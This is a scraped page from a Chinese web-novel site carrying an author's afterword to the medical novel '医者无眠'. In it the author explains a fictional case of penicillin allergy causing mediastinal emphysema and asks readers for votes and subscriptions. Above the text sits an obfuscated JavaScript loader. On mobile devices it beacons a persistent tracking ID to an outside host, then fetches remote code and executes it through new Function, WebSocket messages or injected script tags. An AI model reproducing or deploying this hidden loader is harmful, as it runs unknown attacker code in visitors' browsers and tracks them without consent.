足迹
医者无眠
登录
关灯
护眼
字体:

有关于小读者大人疑问的一些解释(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

有一个小读者——可乐大小姐的粉丝,刚上初中,最近经常问一些问题。

第一次有这种年龄小的书友大人,或者说第一次和这个年龄段的书友闲聊,感觉怪怪的。看网名就知道有代沟~~~嘿。

一早起来,看见可乐留言,问了青霉素过敏病历的一些合理性问题。仔细想,有些地方我表达的还是比较晦涩,这里一并做出解释。

陶老板的儿子,全身气肿,是因为咽炎口服青霉素过敏导致。这是最后的结论,有可能有些书友大人和可乐一样的疑问,只是青霉素过敏,别家医院怎么看不出来呢。

书里已经解释的比较详细,青霉素过敏的几大特征,没有一个是纵隔积气。我再临床工作二十年,也没见过因为过敏导致的纵隔积气。

所以看见这个病例简介后就开始构思整个故事。

正常点的医生,看见纵隔积气第一个念头会想到的是外伤,而青霉素过敏,属于冗余信息,被第一时间排除。

最后吴老师给了过敏导致纵隔积气、皮下气肿的解释,基本合乎逻辑。

这是一个罕见的并发症,特别罕见。

不是临床医生水平不够,而是看见患者后首先要考虑的是常见病、常见情况。最后被逼没有任何办法,只能一点点筛查,青霉素过敏的事情才会水落石出。

吴老师毕竟有主角光环,诊断书的编纂者,看一眼就知道。可是正常的医生不会做到这点的,要是给些时间,一步步尝试,以排除法做筛选,最后会得到正确的结论。

但故事里陶老板已经没有耐心,直接带着孩子来看病。

话说回来,因为需要故事性,所以选择了很多罕见病例。昨晚我媳妇跟我说,看你的书,觉得活着真是不容易……

请诸位书友大人放心,只要不用开水口服青霉素,很少会有意外的。这些罕见情况,不说普通人,医生工作一辈子都未必能见一例,反正我是没见过。

看过、记住不能热水口服青霉素、不能吃隔夜的木耳、别常年戴耳机,以免外耳道出现霉菌感染就足够了。至于头孢就酒,一喝酒走的事情大家都知道,不多说。

就解释到这里。

最后,还是求比心、求月票。

另,要是有可能,麻烦您点一下自动订阅。订阅的确是强大的动力,希望能得到诸位书友大人的支持。

鞠躬~~~~~~